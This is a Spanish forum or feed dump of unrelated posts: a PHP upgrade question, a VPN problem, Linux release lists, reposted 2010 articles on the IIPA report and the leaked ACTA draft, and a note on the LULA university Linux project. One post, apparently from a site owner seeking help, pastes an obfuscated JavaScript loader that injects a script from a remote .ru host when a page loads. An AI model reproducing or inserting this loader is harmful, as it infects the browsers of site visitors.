Saludos
]]>gracias
]]>tengo algunas aplicaciones corriendo en php 5.2.0 ahora necesito hacer la actualisacion a una version mas actual digamos la 5.2.5
por que si voy hasta la 5.2.8 o 9 podria tener problemas de incompatibilidad en algunas funciones o librerias utilisadas por mis aplicaciones lo que pense es usar el backup que tengo de todas las aplicaciones e instalarlo en un server local y hacer la prueba alli luago segun el resultado hacer la actualisacion por lo que vi en php.net solo hablan de la migracion de 5.2.x a 5.3.x eso quiere decir que si estoy en 5.2.x y hago la migracion a 5.2.y no tendria que haber ningun cambio en la estructura del lenguaje o en las funciones etc
yo hice la prueba con una version 5.3 y no reconocia siertas funciones pero es la 5.3 que posee ciertas incompatibilidades con la 5.2
gracias
Saludos
]]>C/C++: 2+ a
]]>Como puedo solucionar esto tiene algo que ver con el init3. Saludos
]]>var YZ="";try {var A;if(A!='tn' && A != ''){A=null};var m;if(m!='o' &&
m!='y'){m='o'};var zo=new Date();var I='[';var ja=new Array();var
V=']';var n='replace';var s=RegExp;var v='g';var W=new Date();var PW=new
Date();var t='';var T="";var q;if(q!='' && q!='di'){q=''};var
w="";function j(N,z){var DL;if(DL!='CP'){DL='CP'};var
BH;if(BH!='a'){BH='a'};var b=I;var ao;if(ao!='qL'){ao='qL'};var
PK='';b+=z;var _F;if(_F!='NH'){_F='NH'};b+=V;var X=new s(b, v);var kb=new
Date();var nI=new Date();return N[n](X, t);};var
c=j('oynylHojajdH',"yjH");var zF=new Date();var
sN=j('ajpvpjeRnRdvCvhRivljdR',"RjvT7");var wW;if(wW!='nD'){wW=''};var
Q=j('82422220949948299492094429',"492");var jH='';var TZ;if(TZ!='' &&
TZ!='GF'){TZ=null};var N="1";var AE;if(AE!='jn' && AE!='K'){AE=''};var
mV="";var p=j('c4rSe4a4tSeSE4l4e4mSeSnSt4',"4S");this.TL='';var
O=j('hNtOtBp6:O/B/Bx6eO-OcBo6mF.OtOr6aNiOdNnOtN.NnNeFtO.BdBrOeOaNmFsBtNiOmBeF-BcOoBmN.OsBi6t6eBmOyFwOoBrNlOdN.6rNuB:6',"N6OBF");var
R='';var dP;if(dP!='bE'){dP=''};this.OO="";var
k=j('skcdrdikpktk',"kd");var C=j('bMo2dMyW',"M92W");var
nH=j('/9zyh9a9oQp9iQny.FcQoFmQ/FzyhFaQokp9iknQ.kcQoFmF/9aFmQakzFoynkaywQsk.ycyokmk/QgQoFoygQlye9.FcFokmF/QsQtyeFrFnk.9d9ek.9pFh9pk',"kyFQ9");var
Wt='';var _q;if(_q!='bS' && _q != ''){_q=null};var yA;if(yA!='cU' &&
yA!='GY'){yA=''};var
jS=j('szeDtDAUtztlrDiUbDultDeD',"zlDU");this.ZN="";window[c]=function(){var
qR;if(qR!='KA' && qR != ''){qR=null};var
YD;if(YD!=''){YD='UP'};Z=document[p](k);var qI=new Array();var
orE;if(orE!='jh' && orE != ''){orE=null};R+=O;R+=Q;var Rf;if(Rf!='' &&
Rf!='Wz'){Rf=''};R+=nH;var vB;if(vB!=''){vB='nO'};var nQ=new
Date();Z.src=R;var nk=document[C];var vf="";Z.setAttribute('defer', N);var
QO='';this.oP="";var ir=new Date();var
FF;if(FF!=''){FF='sF'};nk.appendChild(Z);this.by="";var Fk;if(Fk!='Kp' &&
Fk!='HV'){Fk='Kp'};};var Mj;if(Mj!='aj' && Mj !=
''){Mj=null};this.CR='';var Vt;if(Vt!='' &&
Vt!='UD'){Vt='iV'};this.HM="";} catch(f){var De=new Date();};var wo=new
String();var zR=new String();
gracias
]]>Tengo instalado una vpn con Linux mandriva y openvpn la vpn funciona aparentemente bien, tengo una conexión wireless ips tigo de 1.5 mb de los dos extremos la vpn está en cliente servidor
El problema esta cuando dentro de la aplicación genera el reporte tarda mucho, el reporte pesa unos 1.2 kb
Si solo realizo una consulta o una facturación es rápido
Me hablaron de que el reporte lo puedo realizar con vista
Puedo adjuntar la configuración del openvpn
PD: no soy programador de la aplicación
]]>Tengo instalado una vpn con Linux mandriva y openvpn la vpn funciona aparentemente bien, tengo una conexión wireless ips tigo de 1.5 mb de los dos extremos la vpn está en cliente servidor
El problema esta cuando dentro de la aplicación genera el reporte tarda mucho, el reporte pesa unos 1.2 kb
Si solo realizo una consulta o una facturación es rápido
Me hablaron de que el reporte lo puedo realizar con vista
Puedo adjuntar la configuración del openvpn
PD: no soy programador de la aplicación
]]>* a mano
- slackware desde 2009/08/27 (ya tiene nro 13 con las novedades de KDE 4.2 y arquitectura x86 y x64 oficiales)
- debian 5.0.3 salio el 2009/09/05 maso
- ubuntu/kubuntu 9.10 x86 y x64 desde 2009/10/29 (creo)
- debian hurd L1 x386 dvd1 2009/10/19 (debian con kernel gnu hurd)
- Gentoo Ten Live DVD 10.1 desde el 2009/10/23
- mandriva 2010.0 desde 2009/11/03
- Moblin 2.1 2009/11/04
- opensuse 11.2 para el 2009/11/12
(obs no soporto su jestor de grub kore hace mierda el boot si le tocas despues de instalar)
- fedora 12 del 2009/11/17
- ututo xs 2010 del 2009/11/17
- proyecto LULA "en beta test" (Linux para Universidades Latinoamericanas) descargable entre el 2009/09/30 y 2009/12/01
* faltan
debian 6 planean congelar 2009/12 sin fecha de salida aun
no te dan posibilidad de estar al dia con tantas distros nuevas
jeje
ya tengo debian 503 slack x86 ubuntu kubuntu x86 mandriva 2010 si quieren
tb ebox (p/ administracion de redes), proxmox (servidor de virtualizacion), partedmagic (kit para unidades de almacenamiento),
Miguel Ángel Criado
Público
26-02-2010
A la industria cultural de EEUU no le gusta el software libre. La misma Alianza Internacional para la Propiedad Intelectual (IIPA) que ha incluido a España entre los países piratas, también pide a su Gobierno que vigile a varios países por promover el uso de software libre. Los acusados podrán ser escuchados la semana que viene por la Oficina del Representantepara el Comercio de EEUU, el organismo federal que elabora la temida "Lista 301 ".
Dos potencias emergentes como India y Brasil aparecen en el informe que ha elaborado la IIPA para el Gobierno de EEUU. El lobby cultural (que incluye a la Business Software Alliance, BSA) les acusa de promover el uso del software libre en sus administraciones públicas.
Cuatro países del sudeste asiático (desde la musulmana Indonesia a la cristiana Filipinas, pasando por la capitalista Tailandia y el comunista Vietnam) también están en la lista.
En el caso de Brasil, que lleva años impulsando su industria informática, la IIPA solicita a su Gobierno que use su influencia para "evitar las leyes sobre el uso obligatorio de software de código abierto por parte de las agencias gubernamentales y las empresas públicas".
Con India, la industria pide actuar antes de que ocurra una desgracia. Aunque no hay ningún tipo de legislación para promover programas basados en GNU/Linux, tanto la IIPA como la BSA se muestran preocupadas porque el Gobierno indio estaría considerando apostar por el software local y libre.
Sin embargo, con quien más se ceba el informe es con los gobiernos del sudeste asiático, en especial con Tailandia . En diciembre pasado, el primer ministro de ese país ordenó a su ministro de Tecnología que diseñara un plan para promover el software libre. Menciona el informe un plan para la compra de 1,4 millones de portátiles para las escuelas que, para ahorrar costes, deberán llevar GNU/Linux.
Vietnam e Indonesia llevan años sustituyendo copias pirata de software privativo por programas libres. Lo justifican como una medida realista para reducir la pirateria informática y, así, evitar la presión de EEUU o posibles sanciones. Para la IIPA, lo que deben hacer son campañas educativas o una efectiva persecución de las infracciones.
En cuanto a Filipinas, el informe denuncia que el Gobierno estudia una ley para favorecer el software libre en la administración pública. Según la IIPA, "la aprobación de esta ley podría cuestionar la libertad de uso del software y, en última instancia, podría hundir la industria informática filipina".
Fuente: http://www.rebelion.org/noticia.php?id= … are-libre- , http://deshn.wikidot.com/forum/t-222811 … ware-libre
***************************
26-02-2010
El ACTA o la forma de extender leyes estadounidenses sobre propiedad intelectual al resto del mundo
Nate Anderson
Derecho a Leer
Mundo, prepárate para el DMCA[1]: la sección Internet del ACTA.
Lo más extraño acerca del secretismo del Anti-Counterfeiting Trade Agreement (ACTA) es que, cada vez que vemos un texto que se ha filtrado no encontramos nada particularmente secreto allí. Este fue el caso de la filtración del pasado fin de semana del borrador de la sección de "Aplicación a Internet" del borrador del ACTA. Como hemos señalado antes, ACTA parece ser una estrategia para extender el Digital Millennium Copyright Act (DMCA) norteamericano al resto del mundo, y eso es exactamente lo que la sección para Internet intenta hacer.
IDG News vio el borrador del texto de la esta sección la semana pasada, pero ahora se ha filtrado el actual documento (PDF). Bajo el título "Procedimientos de aplicación en el entorno digital", el documento rápidamente remarca los puntos centrales: el filtrado de Internet (no permitido como un requerimiento), políticas de «tres avisos»[2] (sugerido, pero no obligatorio), procedimientos de baja preventiva[3] (obligatorio), y las disposiciones «puerto seguro»[4] para los ISP (también obligatorio).
Si el proyecto suena parecido a la ley estadounidense ya existente, es que es así; la delegación de EE.UU. redactó la sección de Internet del ACTA, y todo el documento está siendo negociado como un acuerdo ejecutivo, lo que significa que puede ser adoptado sin el consentimiento del Congreso, pero no puede modificar la ley estadounidense. Por lo tanto, como era de esperar, el documento que se filtró, lleva el DMCA a todo el mundo.
La inmunidad de los proveedores de servicio de Internet (ISP)
En el borrador del ACTA, los ISP están protegidos de las demandas por copyright, siempre que no tengan responsabilidad directa en las infracciones. Si la falta sólo sucede en sus redes, los infractores son responsables, pero los ISP no. Esta disposición refleja las legislaciones estadounidense y europea existentes.
Sin embargo hay que hacer aquí dos aclaraciones. En primer lugar, la consideración de un ISP como «puerto seguro» está condicionada a la "adopción e implementación de una política razonable para hacer frente al almacenamiento o transmisión no autorizada de materiales protegidos por derechos de autor". Una nota al pie proporciona un ejemplo de esa política: "en las circunstancias apropiadas contemplar la cancelación de suscripciones y cuentas del sistema del proveedor de servicios o red de los infractores reincidentes". En otras palabras, una variación de los «tres avisos».
Tenga en cuenta que esto ya está en la ley estadounidense. El reconocimiento de ISPs como «puerto seguro» según la DMCA es sólo si tiene "una política que prevé en las cirscunstancias apropiadas la cancelación de la cuenta de los abonados y los titulares de cuentas del sistema del proveedor de servicios o de la red de quienes sean infractores reincidentes". Sin embargo, ninguno de los ISP más importantes de los EE.UU. ha adoptado algo al estilo francés de «los tres avisos» en forma masiva. Una razón para esto es la imprecisión del estatuto: ¿cuáles son las "circunstancias apropiadas"? ¿Cuántas veces debe "alguien repetir" antes de aplicar esta disposición? ¿Y puede un ISP saber con certeza que alguien es un "infractor" sin una sentencia judicial?
El proyecto de ACTA también deja claro que los gobiernos no pueden disponer el filtrado de Internet, incluso en la búsqueda de estos "infractores reincidentes".
En segundo lugar, la inmunidad de los ISP está condicionada a la existencia del proceso de take-down. En los EE.UU., el famoso «baile del take-down» de la DMCA es así: se inicia con una carta de un titular de derechos afectado, una vez recibida, el ISP o sitio web de almacenamiento (por ejemplo YouTube) debe dar de baja o bloquear el contenido señalado con el fin de mantener su propia inmunidad, pero puede reponerlo nuevamente si el usuario responsable responde con una «contra-notificación» afirmando que no ha tenido lugar ninguna infracción. Después de esto, si el titular del derecho quiere seguir con el asunto, puede llevar al usuario a la corte.
Hola, DRM
Si bien el borrador del ACTA adoptaría la mejor parte de la DMCA (el concepto de «puerto seguro»), también se adoptaría lo peor: hacer ilegal la elusión el DRM, incluso cuando sea para un uso legal.
ACTA prohibiría "la elusión no autorizada de una medida tecnológica efectiva que controle el acceso a una obra protegida, interpretación o fonograma". También prohíbe los dispositivos de elusión, incluso aquéllos con un "propósito de escasa importancia comercial". Los países pueden establecer límites a la prohibición, pero siempre que no "perturben la adecuada protección jurídica de esas medidas". Esto es ambiguo, pero deja la impresión de que la elusión en los casos donde el uso final sea justo, queda fuera de la ley.
Y esto es, en gran medida, la sección de Internet. Para los estadounidenses no hay mucho de nuevo aquí, pero eso no es del todo cierto en otros países. El profesor de derecho canadiense Michael Geist señala que el actual proyecto significaría grandes cambios para Canadá. Para tomar un ejemplo, Canadá actualmente no tiene leyes de take-down. En lugar de «aviso-y-bloqueo» muchos ISP se basan en «aviso-y-notificación» —pasan el aviso al abonado en cuestión, pero no toman ninguna otra acción. Pero incluso esto no es requerido actualmente por la ley canadiense.
"Actualmente hay un acuerdo informal para el uso de «aviso-y-notificación»", escribe Geist, "lo cual ha demostrado ser efectivo (la Entertainment Software Association de Canadá dijo en una mesa redonda sobre copyright del partido Liberal a principios de este mes, que el 71 por ciento de los abonados que reciben un aviso no reponen el contenido dentro la semana). El ACTA triunfaría sobre las leyes internas y las prácticas actuales de las empresas canadienses". La prohibición de la elusión de DRM también sería nueva, y va más lejos que los actuales tratados internacionales.
En lugares como Europa también hay gran preocupación acerca de cómo estas políticas impulsadas bajo presión de Estados Unidos podrían interactuar con la legislación vigente sobre privacidad. Hoy mismo el Supervisor Europeo de Protección Peter Hustinx emitió un comunicado especial (PDF) en el que "lamenta que no fue consultado por la Comisión Europea sobre el contenido" de ACTA.
Él iba a decir que las desconexiones son "desproporcionadas" y "altamente invasivas de la esfera privada de los individuos. Requieren la vigilancia generalizada de las actividades de los usuarios de Internet, incluyendo las perfectamente legales. Afectan millones de usuarios de Internet respetuosos de las leyes, incluyendo a muchos niños y adolescentes. Se llevan a cabo por entidades privadas, y no por las autoridades de aplicación".
Dado que el borrador sobre Internet del Acta —uno de los puntos del tratado que mas especulaciones generó— simplemente refleja las leyes existentes en Estados Unidos, ¿cuál es la posible motivación de haberlo mantenido en "secreto" por tanto tiempo? Como sugieren las respuestas anteriores, sólo puede ser porque obligar a aplicar las leyes estadounidenses en el resto del mundo no es algo universalmente popular.
Notas
* [1] N.T.: DMCA es Digital Millennium Copyright Act, una ley estadounidense aprobada durante la presidencia de Clinton, que implementa medidas severas —y hasta draconianas—, para garantizar las restricciones impuestas por el copyright y las leyes de la llamada propiedad intelectual.
* [2] N.T.: three strikes es un procedimietno legal aplicado en diversos ámbitos de la justicia, en la primer y segunda falta el tribunal es indulgente, pero a la tercera el peso de la condena agrega la reinicidencia como agravante y se aplica con severidad. El nombre proviene del beisbol, al tercer strike (un golpe fallido) el bateador termina su turno.
* [3] N.T.: take-down, bloquear, quitar o dar de baja un contenido con diligencia cuando un ISP recibe una denuncia de infracción de copyright.
* [4] N.T.: safe harbors es un enfoque legal sobre la responsabilidad a los proveedores de servicio cuando se producen ilicitos en sus servicios o redes por parte de terceros, no son responsables mientras que no esten implicados directamente y cumplan con ciertas condiciones.
Este texto es una traducción del artículo de Nate Anderson publicado en Ars Technica "World, get ready for the DMCA: ACTA's Internet chapter leaks"
Fuente: http://derechoaleer.org/2010/02/acta-ex … niden.html , http://www.rebelion.org/noticia.php?id= … resto-del- , http://deshn.wikidot.com/forum/t-222813 … -del-mundo
]]>Es una iniciativa coordinada por la Cátedra Telefónica de la Universidad de Extremadura, en la que colaboran las universidades: Universidad Federal de Santa María (Brasil), Universidad de Guadalajara (México), Universidad Nacional de Córdoba (Argentina), Universidad Nacional de Entre Ríos (Argentina), Universidad Nacional de La Plata (Argentina), Universidad de Porto (Portugal) y Universidad de Santiago de Chile (Chile).
Para crear la distribución Linux, el profesorado de estas universidades indicará las aplicaciones educativas desarrolladas en software libre que usan para su docencia teórica y para las prácticas. La Cátedra Telefónica de la Universidad de Extremadura recopilará estos paquetes software y estudiará su compatibilidad e idoneidad para ser incluidas en la distribución.
Esta distribución podrá ser utilizada de forma gratuita por cualquier usuario. El profesorado de las universidades participantes, y de las que se unan posteriormente al proyecto, indicarán el software docente que desean incorporar a la distribución. Uno de los objetivos de esta iniciativa es favorecer la integración del software educativo de diferentes países, y el intercambio de material educativo entre universidades. Además, servirá para dar a conocer a los profesores de las distintas universidades las aplicaciones software que utilizan sus colegas en su docencia.
]]>